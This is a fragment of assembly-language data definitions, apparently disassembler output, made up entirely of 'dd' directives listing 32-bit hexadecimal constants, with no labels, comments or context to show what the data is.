dd 60848F87h, 90E79C35h, 4EBBA000h, 9A152F57h, 0C3C10013h
dd 5197A8CBh, 0AE04F21Fh, 1DB92B48h, 0B55F00C1h, 32A579FCh
dd 2F512973h, 5024B4C4h, 500804Eh, 0E0274B31h, 6A6005D8h
dd 8891CE08h, 83721D28h, 3FBCCF58h, 0FCB405A9h, 18F43FE8h
dd 0A46A07BEh, 709519E1h, 8F4BBFDCh, 3A235C00h, 5277E592h
dd 9137460h, 9BBA0555h, 4620ECC8h, 0A730F400h, 0BC3A8EDh
dd 0DBFF0175h, 0A1EE0756h, 0ECBC304Fh, 3C0A040Bh, 4BCC20D0h
dd 95BCC65h, 43882753h, 4D70BCC4h, 2DD400Fh, 86960A5h
dd 4F971CBh, 0B4AE288Eh, 0BF0CCC5Ah, 87991B00h, 23C4AB7Ch
dd 82BC04EEh, 83C8A81Ch, 291EF2ACh, 8039871Dh, 0C0B2BF1Eh
dd 3B7C2AEh, 0B528ACA1h, 83C9E21h, 0C7067CA9h, 22BB41F2h
dd 4AE418B8h, 1F349D1h, 0BE468D01h, 50DE9F1Ch, 1D1330C8h
dd 0C9C50769h, 8C8AF1C1h, 0B2E5606Ch, 0EC00DA8Ch, 0F461A20Ah
dd 5CD4C90Bh, 0CF801C3Ch, 1C679C18h, 21D50F00h, 97C5F19Dh
dd 1DB091h, 399D2BEh, 3F190984h, 0BF00A898h, 3E573B60h
dd 24A13733h, 9EDC7A49h, 0DA4C40B6h, 0E4311FEFh, 8FA6CB3Ch
dd 81158058h, 0BE1AEA36h, 792B2820h, 0D8F0146h, 9C65AF64h
dd 22CC70B8h, 0B373BF00h, 9B4140CFh, 0B52F0159h, 0A8B4B1F9h
dd 0BC54F460h, 1476BB73h, 0BF023F0Bh, 0AD3A826Ch, 9F0860DBh
dd 3D4F2E32h, 9365409Ch, 600176BFh, 510AEEE2h, 0C892ADEBh
dd 869800AAh, 0D01F70AFh, 214F658h, 0BCF4EC85h, 124597Ah
dd 62C8E6B5h, 8FA06A12h, 3A2B0090h, 0BA0B0A86h, 0D89144F1h
dd 0E0E0D88Eh, 11CA4874h, 83E906CBh, 58C8BDE7h, 9E4B13Ah
dd 8112D007h, 0F327E820h, 0B84C4839h, 1EF18607h, 2D5B52F5h
dd 22481C78h, 0A0082DB0h, 29C338F4h, 3FF625B5h, 1259DCA0h
dd 280F7F5Dh, 0E1BD9C1Fh, 871B3EB9h, 90C45060h, 15C576BCh
dd 0D8A54972h, 96606D0Fh
dd 69B65280h, 3402E890h, 56870145h, 0C7DCE071h, 482D3C4Ah
dd 1A6CC180h, 22517E4Dh, 72815E2h, 6B48A4A8h, 5B030054h
dd 8EF1FE60h, 6898482Fh, 0BBE51004h, 3A04C252h, 9820D32Fh
dd 90934B20h, 0AC5625CFh, 812A8081h, 80147C51h, 392D9112h
dd 91804D4h, 80031463h, 0AB0A6D6Ah, 0D090974Ah, 7029C2h
dd 341610D9h, 0D444F9C7h, 0B5B02650h, 8F0BCAF0h, 4033B1AAh
dd 0B0E2FB84h, 1E2D0098h, 3D9807D5h, 0BC07D104h, 2774C2C3h
dd 7C879C9h, 8B44A683h, 0CA400002h, 85005C79h, 0BB988DD4h
dd 9D69005Fh, 0CE518978h, 4174E6A9h, 428022h, 320D9915h
dd 0C1E89B1Fh, 1DABEB00h, 3D8FC7BAh, 0D4645001h, 9884A00Ch
dd 5384255Bh, 0AC0084E4h, 0A2B990D5h, 1CB1D0EFh, 1F85BDFBh
dd 42506CF6h, 0D471293Ah, 961AED00h, 3EE422E3h, 0A21D9C24h
dd 7A54807Fh, 5F8C56D4h, 2CA2DFB0h, 0EB2E0CCCh, 4B094EECh
dd 0E8EC1064h, 53BA0060h, 0B9338E2Eh, 0EF072BFAh, 465CCEE4h
dd 85D6FBD0h, 0AA9005F7h, 0BCD0F28h, 121A28h, 0B60068C6h
dd 242A9FADh, 3E313C1h, 40D9A62Fh, 0FFF85F87h, 61163B51h
dd 0AC974AD4h, 841B0B90h, 0DC770Fh, 0D24BA8BBh, 690D7B47h
dd 0A0AD98A0h, 0AC197A26h, 20DD4800h, 2FB4BABFh, 909127F3h
dd 0D6EB4039h, 133E81E2h, 1C1587ECh, 0ABE0B230h, 0A074DAh
dd 0C51201FEh, 0ED17CD77h, 50556F0Ch, 8908F2h, 84CE236Dh
dd 530EEB52h, 87BFAF8h, 1A030974h, 0D462AB0Fh, 60F8A825h
dd 91A100D8h, 77F40457h, 50C1896Fh, 0FA158405h, 0C72B2D0h
dd 0FF4F1EABh, 0E000261h, 8D0F677Ah, 7A1E1B8h, 0B96A3F16h
dd 0A482B091h, 6079974h, 1DC8CC32h, 2E2BD971h, 94ADA980h
dd 4E4E7DEh, 0BFAB3E00h, 3BF67FF9h, 0E6C9C8EFh, 567C3080h
dd 0C4E6B37h, 686C19B4h, 9617ED18h, 261CBD16h, 0B240279Ch
dd 0E8C034D4h, 9E1003Dh, 6FDB4791h, 51305456h, 47D51FDh
dd 60FA00FEh, 0C3917AC5h, 0F726C7C6h, 0AE00F0AFh, 7BD30AEAh
dd 2AE30680h, 717614D6h, 0A7F63807h, 0FB5092F1h, 0A23CC5Eh
dd 19DBB34Fh, 67F3ACCh, 2D4BDDDFh, 671E916h, 0E6B3803h
dd 0A87E4FC3h, 569ED6h, 8A682C1Eh, 0BA80110Bh, 0D9318661h
dd 8A98C77Eh, 0E63CB1E8h, 5FB8C05h, 0F4202D53h, 0A12269h
dd 0D3AAB0B1h, 1950C131h, 5E489A00h, 17DA398Bh, 2CB9C077h
dd 84F92943h, 3D04261Fh, 10666B40h, 86DCE9h, 377E808Bh
dd 4CD53381h, 70100661h, 41806C16h, 5426FD47h, 0DB00B6A1h
dd 670AA47Ah, 9D6486Eh, 4B41D8BEh, 0C2801829h, 0A91C557Bh
dd 1EC64C00h, 85788B27h, 6EAB3F5Ah, 0DCA158F1h, 412D6806h
dd 0D82F3970h, 779DC39h, 0E004BA06h, 7BCC2845h, 30B81C2Ah
dd 37ADA000h, 38F4A9EBh, 0BF7F18h, 344CCBDBh, 14E2EA26h
dd 0E800AF76h, 0D75F979Ch, 0CB8A06h, 0C779C8E5h, 0B0091021h
dd 0D001FE8h, 3CE0B21Ah, 18A7A9A1h, 694CE2EEh, 0B7000723h
dd 0F44B2B2Ah, 5338331h, 505EBF3Ch, 0CBCC40F5h, 0F742B00Eh
dd 62948201h, 132C1D75h, 0F64CD050h, 0F1F5245Ch, 0EAFE0044h
dd 86A0DA2h, 93E32400h, 0A7CC8C07h, 2A0A0001h, 5D99C5D4h
dd 529187Bh, 0B0018C42h, 0D0F0029Ah, 0C84875F1h, 9D7A1FE6h
dd 196607D4h, 29191C6Dh, 84026AF0h, 1426D332h, 0F97C2077h
dd 53007A3Fh, 23BC3AA9h, 875908h, 0CBD5611Ch, 14C0A029h
dd 19316E60h, 73598545h, 0A09E7CB8h, 358053Ch, 60B5FD6Eh
dd 0BB866E4h, 0A400EEDBh, 3291078Dh, 15564ADEh, 842FF677h
dd 0E6EEA206h, 1D24D154h, 6640EC4Fh, 9708E3h, 873712B6h
dd 8A0FD569h, 0F8623F00h, 0F1D7A822h, 60AD075Bh, 47A0ACF4h
dd 2EE08FFDh, 8FE281C1h, 34210960h, 1902F48h, 7452BDB2h
dd 0CD08A4C4h, 108BF0FFh, 6D537600h, 0ACF3312Fh, 60187D02h
dd 0CB5E50ABh, 0B010FB9h, 2FC5BACCh, 0F271C61Dh, 0F6E16D0h
dd 25AB792Bh, 5A70B0C3h, 0FD78708Eh, 4208400h, 306C0FA4h
dd 5512302Bh, 0C47BADA0h, 3863C00h, 17150872h, 81E9241Eh
dd 0FF7600FDh, 8A5F71BEh, 2C777018h, 3C6BDA51h, 2F808D62h
dd 0EF32A6D7h, 1333EEA0h, 0D8CDF9A7h, 0C46727h, 663FDBF9h
dd 0DA26CF32h, 820EED0Ah, 1960881Ah, 3FA81A8h, 2C5C4B4h
dd 26A96872h, 6BC6D0BEh, 0F50D201h, 0F25B6C70h, 77B900D3h
dd 3A4803C2h, 3CFC3567h, 5079F800h, 15D34A7Eh, 0B3C70031h
dd 8C24263Bh, 0BD00D864h, 0BEF911D9h, 5279E64Dh, 40CAC5Bh
dd 81597B22h, 5899F660h, 38C5A1Bh, 4CE33B42h, 310086F0h
dd 0DD5735Bh, 0D718EEh, 0CF5936B1h, 61F25EEFh, 0B01A49C0h
dd 6D044D1h, 8EF4C591h, 0D81259F8h, 9500489Bh, 0EC8D84F3h
dd 21140079h, 45A99A7Eh, 956F127Bh, 0A3772069h, 7C500252h
dd 5E9703D2h, 1605E77Ah, 8E8604A0h, 8459EE60h, 73B6CFAEh
dd 643C0548h, 0C0CE42B4h, 328702EAh, 5D97C07h, 6240CA10h
dd 1F33A78Ch, 0C0175AE2h, 0A8003A5h, 7E033C54h, 0F15E6246h
dd 1EB3887Dh, 91A26011h, 0CE300335h, 4B69600h, 7EF60E49h
dd 0EFBA0014h, 5FBC830Fh, 2A005D23h, 2E11D68Fh, 9777D06h
dd 28166941h, 2A32020h, 0FC026E1Ch, 8C78DD42h, 0CBC6E0F0h
dd 0CAE10351h, 0DC8240F5h, 0B055D900h, 0A77F1310h, 0FEE430AAh
dd 0F4802319h, 5B86454h, 80925C3Fh, 0F0E5D6D2h, 8D9707h
dd 63125565h, 0C372707Dh, 9DCBE0ABh, 0BD30D102h, 0C3E3342Ch
dd 0C049A359h, 0AC380Bh, 0B358A2DFh, 39627B55h, 0B0F0540Ch
dd 50A839A1h, 391D44D6h, 4692658Ch, 0C4940121h, 33E0A820h
dd 88658008h, 64C9651h, 0F33F7204h, 9400C179h, 7C0276CCh
dd 0E2C45FBAh, 0F83B3C95h, 8C6B0D03h, 1FD8CCD6h, 940F8748h
dd 60012615h, 0BFAF5F79h, 496560F4h, 0B7C26655h, 0C62FCA01h
dd 642A8933h, 0E161FD4h, 0FE0E820Dh, 7CBFC9C0h, 8D505587h
dd 0BB007A54h, 0F85C2D98h, 0C0568E36h, 0F3B72FB0h, 1748AF88h
dd 0AA809C98h, 1934A153h, 6AFE00A3h, 336909F5h, 47004A27h
dd 3104DE16h, 0D68221h, 5E20960Fh, 6A4F1184h, 7A1DA8C0h
dd 2E87DCF5h, 87B2AF6Fh, 0E1816E05h, 0D404B0C9h, 15050312h
dd 9E110230h, 0F296A040h, 0A0799Ch, 1BA9A42Bh, 44730E58h
dd 800B633Fh, 0BA0DFCC7h, 5C6BF6B7h, 0A146E37h, 0E9003C12h
dd 0C9FBB6BCh, 0E50E0D5Dh, 7D6BE6A8h, 433BF900h, 0A5327B1h
dd 0EF818B90h, 6189808Ch, 3B6BE737h, 0D8DB6601h, 0DF048848h
dd 282F91CCh, 501258h, 5F430A36h, 0F1C9FC2Dh, 0BAA3Dh
dd 52652A44h, 12E0BFDEh, 186BB45h, 8E8C0314h, 92A610EDh
dd 0DE4300D8h, 0F391CC1Bh, 3D003664h, 0D71F2C78h, 1E632DACh
dd 522B7962h, 251C2257h, 7DEF3240h, 0D719FF00h, 1F923316h
dd 0C8114C85h, 0D2425180h, 360089CFh, 0E6B07DE3h, 805506h
dd 71B3905Fh, 0AE87ED95h, 0E37331C0h, 202D906h, 50A04C47h
dd 8140B1EAh, 0B1C0F28Eh, 96DFC1Dh, 1173015Fh, 1208B77Bh
dd 0FBD9D47Ch, 0E8DBBD0Fh, 0CEA918F4h, 24E300DEh, 86C40E57h
dd 0D400FF80h, 859FC58Ch, 160527AAh, 9219DBh, 6A9D1660h
dd 0B14C8CA9h, 0C094505Ch, 1E2B2Ch, 607D004Eh, 49155996h
dd 0B5004C04h, 0E1D647ECh, 9200765Eh, 0A277CD73h, 9B1F4F7h
dd 0CF01DA1Fh, 27174498h, 48618E03h, 0B0A32123h, 0B6264Ah
dd 0A122AAE0h, 1EBF8BAEh, 0DE246000h, 5481E315h, 8CAB288Ah
dd 0CADBE5E0h, 341020F5h
dd 0EF004EB2h, 20098551h, 24928C94h, 60D0BCABh, 3ACA4F95h
dd 3FAB501h, 0A080D820h, 7681B9CCh, 0B00448E0h, 17A89A06h
dd 3E00D906h, 5C1FE6BCh, 0A02CF27h, 32217876h, 891A60F0h
dd 7400E055h, 996E5024h, 41C1059h, 2BB4E481h, 7834C821h
dd 0A91E58A0h, 2F2BC38h, 0FE4CF0Eh, 90EC4397h, 986A702Bh
dd 91A51410h, 5A004416h, 0C8672930h, 88E234E9h, 3E95FF01h
dd 7E708B82h, 40C1072h, 0EE716A20h, 0D6DCB560h, 6EFA3C0h
dd 0F344C479h, 3E00216Fh, 0A804338Fh, 4806BEAh, 262B2E09h
dd 0A2E04155h, 0D062F481h, 8BA1007Eh, 0A5270F65h, 89001946h
dd 0D91CD5A2h, 2F02660h, 5181BC75h, 0B06655E8h, 0F3F200Eh
dd 27C4028h, 306F6Dh, 4A22E762h, 7B517A78h, 0DD0014B8h
dd 0F76BD95Ch, 7E8949h, 2B059AE9h, 0F3BB0A81h, 91596344h
dd 20119634h, 7E63A028h, 0F626D900h, 36EA3A03h, 0D2090115h
dd 0DE88F18Ch, 16487039h, 2B1F850Fh, 2282FC78h, 0C4E458A8h
dd 50DB2A18h, 78F548A0h, 758C1E80h, 2E0039E8h, 3DEDB8C2h
dd 1261A55Ch, 3085D254h, 41A27BCCh, 63004BF0h, 7714F45h
dd 15C5BFB5h, 0EC891610h, 31F78118h, 0CCE1E68Bh, 140FCCBDh
dd 0AC4976ABh, 246372B3h, 1EC8D646h, 40B91E92h, 129CEDF6h
dd 87017D09h, 74C803A4h, 85F1F56Fh, 2D242032h, 589D001Ch
dd 0A85F6B08h, 80E8FA58h, 0CE75137Eh, 8C061248h, 5DF0079Eh
dd 4A7470C2h, 0F3188807h, 0C7F966F4h, 411300EBh, 49468AB7h
dd 0BB1DAFEEh, 79C4D1B4h, 508C63EAh, 84E0B8h, 0BF30186Ah
dd 9AD57765h, 90B8C050h, 94110718h, 1E1CF8A1h, 416AB9DCh
dd 70C5D633h, 4244171h, 2C7216h, 0CBB18E9h, 725D40BFh
dd 0B0977B73h, 0F0DB4510h, 6501449Ah, 0F53B009h, 0B1426AC8h
dd 487C4443h, 184073EAh, 2CAA008Bh, 89FF186h, 0E0E76C70h
dd 99094F87h, 90180296h, 72C468h, 0B78A3C71h, 28EA78D2h
dd 61D76201h, 327D79E5h, 457CB822h, 2320C168h, 27390048h
dd 0EAB3D2D0h, 6C090038h, 874059Bh, 47135095h, 0D80272D8h
dd 0E0AEE653h, 784F8428h, 4C805887h, 201D080h, 5F00113Fh
dd 0F7C5932Ah, 0FB615E25h, 0E27203E8h, 5F8F4A18h, 595AC070h
dd 0C355641Dh, 0FDDD2906h, 50A16EF4h, 12B89BBh, 0C66DC99h
dd 800716D3h, 0DB5B63F1h, 0FF6EAA6h, 77BB04C6h, 0A5112224h
dd 20B6CC88h, 45153C07h, 64C08462h, 5DDAAAh, 4F9BD94h
dd 5D93B63h, 3714DCE8h, 648F32h, 0A14CC797h, 58AF526Eh
dd 2B009791h, 0E5F4DD61h, 78A3F78Fh, 795F58F8h, 8E060909h
dd 33D404FBh, 0BCA39C80h, 0B1FE6016h, 0DF0CAD29h, 0BA174900h
dd 9A7DD9FCh, 4E1D0075h, 80AC1670h, 38944B90h, 35225C40h
dd 7934039Bh, 0CD0DFF44h, 2CD452F0h, 2A1D311Dh, 85822280h
dd 9623A53h, 0A0401554h, 2E5BB082h, 6A7A8D20h, 2CB92C02h
dd 0DD320049h, 9E9B06ABh, 1C625173h, 0C6CDF716h, 0C692003Ch
dd 0FF5AA8C9h, 990030EBh, 9EB0447Bh, 2D3106Eh, 0A9E3B722h
dd 84A0F381h, 4CAAB254h, 7F41D517h, 0A38E601h, 0C873C161h
dd 94FE4D07h, 99E0F08Eh, 7100546Fh, 53FE181h, 5C982E9h
dd 0FBDA9433h, 0C14CC678h, 26CCB007h, 83C2E4E7h, 90AC51EDh
dd 4258BEFh, 514063F8h, 0DDD187BBh, 0F0997126h, 91FC0B00h
dd 3728009h, 0BF636082h, 31076DF3h, 209B8A14h, 542800Fh
dd 0B4C3B03h, 941FBD60h, 0CACB4C98h, 0D93F9D00h, 907AAB0Ah
dd 9ECDF1F1h, 0F0FBDCh, 0A3FD17CDh, 1685AEE9h, 9D00247Ch
dd 64ACD562h, 0B07DB083h, 0E3B7498h, 0C704EF44h, 0F152A9E0h
dd 4951BEBBh, 0E2C40CD4h, 0EB0048FCh, 0D90861CEh, 102577h
dd 0BBB57CE0h, 6822BDA1h, 0B00A4F26h, 5D6FD00h, 703CEF9h
dd 152BB959h, 0E86DC002h, 810ECD0Fh, 9CD64020h, 70B30E81h
dd 0A0510A8Dh, 866047EAh, 17E100DEh, 24F84137h, 5702768Dh
dd 1708E88h, 877CC08Bh, 7829F961h, 0A45A3400h, 9775B8B4h
dd 23F12703h, 80E2FEDBh, 0E7F6F5h, 6C7F69B0h, 0EA5F8071h
dd 0D8F25A26h, 9C0BA340h, 96530086h, 4BEB80FBh, 0A7001389h
dd 0FD5CF40Fh, 12E39B7Ch, 40301734h, 9AD0D108h, 7E7D235Eh
dd 5193E8F9h, 6B6E0E01h, 282B1EB6h, 2070872h, 218B0372h
dd 0E05A6FC7h, 2C2CD7C2h, 2E80A8F7h, 47FD74EDh, 2A5D0016h
dd 584BBD89h, 6C057E55h, 9591921Fh, 19AC9802h, 5FC06007h
dd 0ED2D0914h, 442093B3h, 0A7C9D7DAh, 7D24D375h, 0E801B480h
dd 17BC4025h, 0FB016422h, 529CA0EBh, 66986405h, 1136D20Ch
dd 0F049AAh, 6F8D23DFh, 4F2FDC64h, 73BD4700h, 0B9844971h
dd 23284B16h, 0A3F05BACh, 0EA002755h, 57C87826h, 39C7C628h
dd 0A78B351Ah, 9800B33Fh, 8C644E9Ah, 0AC772C00h, 7F1716C4h
dd 6C180168h, 272B8BF5h, 5443601Bh, 0BFA9B400h, 0F3BA081Eh
dd 0ACB967h, 2285FC76h, 2948B39Eh, 0C372032Bh, 0E8A401A2h
dd 0D9D16Ah, 3B664FF5h, 0E7BDB03Fh, 2EB4D802h, 611671B9h
dd 0C8405B88h, 64038A6Bh, 0CCF7DC80h, 0A07B7390h, 29A20400h
dd 4CBBA79Dh, 0EA503FE5h, 0B7775A81h, 0CD87F712h, 0D3EC1093h
dd 0A43A0005h, 1A8D4BAFh, 38991FB0h, 0F88EA380h, 6B3586h
dd 20D6AE0Ch, 0D58F9073h, 8622B13Bh, 9C113B34h, 1B63831h
dd 4845E90Eh, 0BBC552E0h, 0EAE00DA3h, 0FAEDFB1Ch, 0BD90580h
dd 58789565h, 0B8DFD4DBh, 200E8C00h, 0E32B8D36h, 2C79CDE3h
dd 0E2CB8038h, 207D1Fh, 0F76388F5h, 10197653h, 0A081C427h
dd 14E01CCCh, 2793003Fh, 0A88F5590h, 6200D7AFh, 24763BCAh
dd 73538CBBh, 1F651401h, 3A02EC9Ah, 2BA9790Ah, 4728938Ah
dd 0CDDC0341h, 0F5B1F8C8h, 48466D01h, 0ED095A69h, 9DB038h
dd 606B8950h, 0CB00C2F3h, 6E08AFB7h, 766F62h, 0F11D055Bh
dd 80041AF4h, 83491004h, 6C902916h, 0E9637Fh, 549A9D6Fh
dd 10BC50ECh, 7EFA9200h, 0AAD0B8B3h, 80A6392Bh, 11582289h
dd 61E2E090h, 0BC4AB01Fh, 0A52D6B82h, 185091h, 0E9237F9Eh
dd 0F2598C3Fh, 32A60096h, 0E10041A6h, 3D425015h, 200E5AB0h
dd 1F3E598h, 76016E75h, 0BA309151h, 0D8216C16h, 0B5C1582Ch
dd 20C6B1DAh, 2E266A90h, 3809CCD1h, 3349116h, 1CA4E0D3h
dd 6EEF019Eh, 21A7F126h, 5083097h, 0E872DF02h, 40B0C214h
dd 6E397368h, 70E3C0B6h, 0C1D447C4h, 7328BAB4h, 0F1950078h
dd 0DBCD2CE1h, 651B0373h, 0D9E9A96Ch, 74F4210Fh, 0E0FB00B1h
dd 3ACFE471h, 0DB22AAC4h, 31A9C504h, 60C342E6h, 9C03823h
dd 168DF481h, 10B1ED90h, 30D8BA5Bh, 0A9112D15h, 0D2078B75h
dd 27861441h, 4482DDF2h, 0BF9003Ch, 0D61D4B45h, 0C600E93Ah
dd 0A47F540Ah, 12577AFDh, 1FDD8123h, 66FCCF00h, 1CBBB900h
dd 56039CEEh, 7A942D53h, 44804AACh, 4079F248h, 3BB2D9EAh
dd 13EF0041h, 7105C59Ah, 4E0E6FEEh, 0C509BE86h, 1C0851D8h
dd 17DF8066h, 7804C2Dh, 9821D61Ch, 0D20BCF80h, 2B9860Ch
dd 83617CECh, 80C01F9Dh, 0B32DC903h, 1CC908Eh, 0A5BB0114h
dd 9E0D45D8h, 0E080FA02h, 29F7A9A7h, 4D9F1700h, 341FC1CDh
dd 0AC825053h, 8C060E8Fh, 87808916h, 0A1FBE85Eh, 0ED2D9FF0h
dd 0C6D011D9h, 348355CCh, 0C071F481h, 0B3343ACDh, 0A70041F6h
dd 0A2427D95h, 5C8D31FCh, 0ED80988Eh, 20C51EEBh, 704B3500h
dd 2E9566BBh, 84B92433h, 0A96A0420h, 300C89FBh, 80F8FEBCh
dd 0FD3240h, 39912CEAh
dd 281B5588h, 0F0DA48h, 0B61D97Bh, 4F72040Dh, 8B88002Eh
dd 70AFB0AAh, 412F7E33h, 0E0788Dh, 0B5E0EE5Ch, 0D8040ED9h
dd 7B9C8014h, 483ACC14h, 0CF3C2699h, 0A5D860C0h, 4109A601h
dd 4480C442h, 8ADA03DCh, 0FEC2F17Fh, 305DC1F9h, 82002A8Ch
dd 0C1DE49Fh, 3BD19B7Dh, 0F4986C57h, 0AFF5397Ah, 0DF33BC0Eh
dd 461BA086h, 98B246Ah, 7A8C309Dh, 72BBF780h, 2B6117D9h
dd 5BC573A1h, 6ED43BD1h, 8B92009Bh, 8266D406h, 14A01259h
dd 910069B9h, 0F694C334h, 38CD5711h, 988348B3h, 9FADF04Bh
dd 2F73D904h, 1480CE64h, 9621E9Ch, 0F394ABBBh, 7C1C4C10h
dd 204ECD00h, 228FE92Bh, 0FB50FC8h, 472F24BCh, 433A7F60h
dd 18099515h, 44A4E485h, 4D3D00ECh, 91991E55h, 0E01C6DDEh
dd 0F780E11Bh, 0FDAD6825h, 0EB349031h, 27B48310h, 7F164490h
dd 2846FA75h, 21A913h, 0A2E441E8h, 7A3BB85Dh, 0CC207902h
dd 0E675326Ah, 67D01D40h, 0F8AA42C4h, 14C6286Fh, 0A9B31D03h
dd 0C9E653C7h, 0E5600A04h, 4C227159h, 9E758CBEh, 7F803944h
dd 5A03AA6Fh, 471BBCC2h, 80612A12h, 77A1CC6h, 2109DE69h
dd 553B6089h, 393CC926h, 851497D4h, 856CB80Bh, 5C810804h
dd 7FF48288h, 7B80F678h, 8190165Eh, 26F1E54h, 0F4BFA5E4h
dd 0F33900C4h, 6B1D8085h, 68172B34h, 63820989h, 5D00E4ABh
dd 19777D09h, 111A5127h, 270F66Ch, 0C3405885h, 676B5500h
dd 0DECE7650h, 0B12A3200h, 1DA0661h, 0D9020028h, 0E308626Dh
dd 0AE4CEFA2h, 1E3E1208h, 8D207C30h, 909B074h, 0F22ECCA6h
dd 172500E8h, 4CE69700h, 24788763h, 19FA000Ch, 0AB5A65Dh
dd 114C1E64h, 6D9B8020h, 107C29EAh, 7C2C5C70h, 7E6ADA00h
dd 79E1D2F7h, 89789C72h, 70692E04h, 14EC8F02h, 4912EB18h
dd 0E33070ECh, 321F004Eh, 674DCE20h, 8B3C0A3Fh, 0A0122709h
dd 0D133FE68h, 0CF4804CCh, 0B0727ED3h, 0C1C7A74h, 1067445Dh
dd 0EA3BB970h, 2E9F0553h, 0C00E7358h, 1A679A38h, 0C9E4910Bh
dd 3B84480h, 10B2A654h, 85C81F0Dh, 5E3EF0D7h, 0C83B2927h
dd 0AFC01280h, 0B7A7D65h, 0A93FED35h, 45597500h, 0EF166F79h
dd 0C4231811h, 7C4CB8A6h, 0A5080099h, 0A7F0294Fh, 540ED91Eh
dd 0EC5628A3h, 32AAC091h, 6B9FFFBh, 9D0034E6h, 8747F077h
dd 997FE9h, 0D2215D83h, 446C7091h, 0AE82192Dh, 4C460374h
dd 62A2FA0Ah, 78F2B7h, 4F254B9Eh, 0CB1C208Ch, 7968D40Ch
dd 2482407Fh, 4584180Bh, 0B17BC05Ch, 0C300A6B5h, 3DDB1283h
dd 48E1D744h, 791DA442h, 1B2BC965h, 767B1C10h, 13C0A595h
dd 7C7DD420h, 0CEA502E2h, 31BA4854h, 918024E6h, 0E8078E38h
dd 0D579F677h, 0DC8A8607h, 5073D640h, 996C04D9h, 82763355h
dd 0FF2E67A4h, 376F9400h, 1D3B619Dh, 0F8FEE3Eh, 12C03CE2h
dd 0B097B5D8h, 0AD99E907h, 59DCD7AAh, 80D89415h, 0F144E5F9h
dd 0B800D367h, 18D64EF0h, 0A86589h, 0F53E3340h, 0A99C9635h
dd 3F78BE00h, 7E95E8Bh, 1FB805C1h, 0B4D6A85Dh, 0D94EF444h
dd 10ECEC22h, 6E2C9A7Dh, 0E440B08Dh, 7EF1C12h, 8CEB07Ch
dd 0E287A0E0h, 149939AEh, 7E2BCB83h, 1E43C0BAh, 44CD021Fh
dd 179F12DAh, 0E8866080h, 2F1DF0ADh, 5A03D268h, 0FA619811h
dd 2A9060E9h, 67750346h, 918C2D36h, 0BFE373A0h, 10048725h
dd 0A5E638h, 6DF20182h, 75AB40E9h, 0C2208004h, 8C88F3BAh
dd 0F8EB004Bh, 9050AAA6h, 7A07A5AEh, 0E12F74D3h, 1F0941E1h
dd 0EC60C060h, 793A0828h, 61802D80h, 0C9AC8B31h, 5A702D8Ch
dd 82E3C91h, 2071487Bh, 8761DB82h, 2FE8B463h, 0C93CD0DFh
dd 0A69C04BEh, 0E4C005EFh, 987134h, 607CD66Fh, 877D1937h
dd 8553Ah, 0E07F62D9h, 4BD68A23h, 571E8010h, 0EEE8648Ch
dd 9D0B08B8h, 0C9DAB3EDh, 5F10653Ch, 980E9CBCh, 0E0B0200Ah
dd 5908F0A0h, 7AB7DA2h, 0EA3FFF6Fh, 0DBD7D025h, 2407D4AEh
dd 74490EDAh, 0B6D573A0h, 79D33C23h, 80D15937h, 9408E0DAh
dd 0CD408C9Eh, 0A024C6h, 4AC716FAh, 464F4733h, 7A6E7C00h
dd 13C2FB75h, 1047FE2h, 9CE4866Dh, 4C6F262Bh, 842F98h
dd 0CEC7C3F4h, 0B0339138h, 0BEE9FC39h, 0AFD78095h, 47BD6308h
dd 190BE81h, 7DD10AD9h, 7E79D48Ch, 0A891C8B1h, 4E93273Bh
dd 817A1CE1h, 86181EB9h, 54FADCh, 0BD368240h, 0F14F1D57h
dd 1C285673h, 2ED4E834h, 2CADE85Eh, 0CFCC0040h, 49A8E9ACh
dd 19AEB201h, 737F5B87h, 475F848h, 0E9A2C825h, 0BA15812Bh
dd 838C68AAh, 0F08C02CDh, 54F4FA9Eh, 41B8062h, 54500E78h
dd 4412C17Bh, 28B0702Fh, 92BAC407h, 19207203h, 0C4FD7D79h
dd 409B12E1h, 5CDF7E5Fh, 0DD033F30h, 6DAD017Dh, 0BEDE1AB4h
dd 40F42042h, 0D095F416h, 31169E04h, 0FC8050A8h, 238784E3h
dd 0E8F324F6h, 0AE586B4Eh, 198A012Ch, 0DAEEAADFh, 627BC180h
dd 0A3C477EAh, 9543D00h, 17D0B1DBh, 0E180A831h, 0C9810043h
dd 0F1592E2Ah, 300A4ACh, 91223B80h, 703471h, 6E877B4Ch
dd 0CC9FB05Bh, 1DA7D603h, 0E143079Ah, 0B02D8D62h, 0A3957702h
dd 0ACC682BEh, 0B6C4E900h, 886A5D93h, 0F4143EB9h, 0FBA96C0Ah
dd 0C02746B4h, 0EE86381Dh, 6BBC8900h, 9C50A22h, 1C673356h
dd 59078C79h, 0DCA1AFE8h, 44F2F9AEh, 0BDEA241Ch, 3E1201C9h
dd 0CF7A20A7h, 2578EB0h, 6174C509h, 7884D28Dh, 0D426013Ah
dd 0B0DC2BFFh, 331DCAEh, 55CF3C01h, 60BE3011h, 731470h
dd 18BDF0C0h, 2B200E31h, 846E2F24h, 44E2C64h, 0E0C4A4B2h
dd 636FB500h, 0D30D3FAAh, 0B814B682h, 0CA19B080h, 11A90ED2h
dd 9BF66E00h, 0E85B4A6Ch, 10AE6BBh, 987EA677h, 6217B4C6h
dd 0D25008Ch, 0A01C8633h, 0A13D581Eh, 49F07F00h, 0EAE2B7D8h
dd 10DC8B50h, 47B81860h, 4D4B044h, 0EDB48CD5h, 634089ACh
dd 0AA7400B8h, 9287BC0Eh, 0EA320963h, 44641513h, 25A5D400h
dd 0EB7E6DAFh, 8CF54C7Ah, 5F605C30h, 7100A96Bh, 0BDFBBB6Ah
dd 48DE6C60h, 3B24C448h, 85E038Ch, 71978C66h, 8012879Eh
dd 137599A0h, 0B10C7Fh, 0A31FB7E9h, 5387AFE4h, 9720213h
dd 11475430h, 0CFF8000Ah, 4A5D37E3h, 8B002F76h, 0C4DBBC20h
dd 3A64CC07h, 74809D6Dh, 0CF246CCAh, 97F8812Ch, 1EBF9B18h
dd 0B1D678h, 953185Bh, 7E8516BAh, 4274412h, 5F81D401h
dd 202AC81Fh, 0AE501984h, 0E6051100h, 0BD9042D4h, 0EB630178h
dd 5116F239h, 8FCC4815h, 2D89B80Fh, 6586A04Eh, 5007960Fh
dd 0F558F4Ah, 0E48B22B6h, 260BD960h, 8F5C0928h, 80585C8Dh
dd 211F656h, 708E4C88h, 8FEC3480h, 0D00BE5B9h, 907D7BAEh
dd 602204E8h, 0C202A956h, 0D61DB708h, 304B7E99h, 243005F5h
dd 0E410D402h, 514C60B8h, 409C946Eh, 0E3B3D3BDh, 9926E4E8h
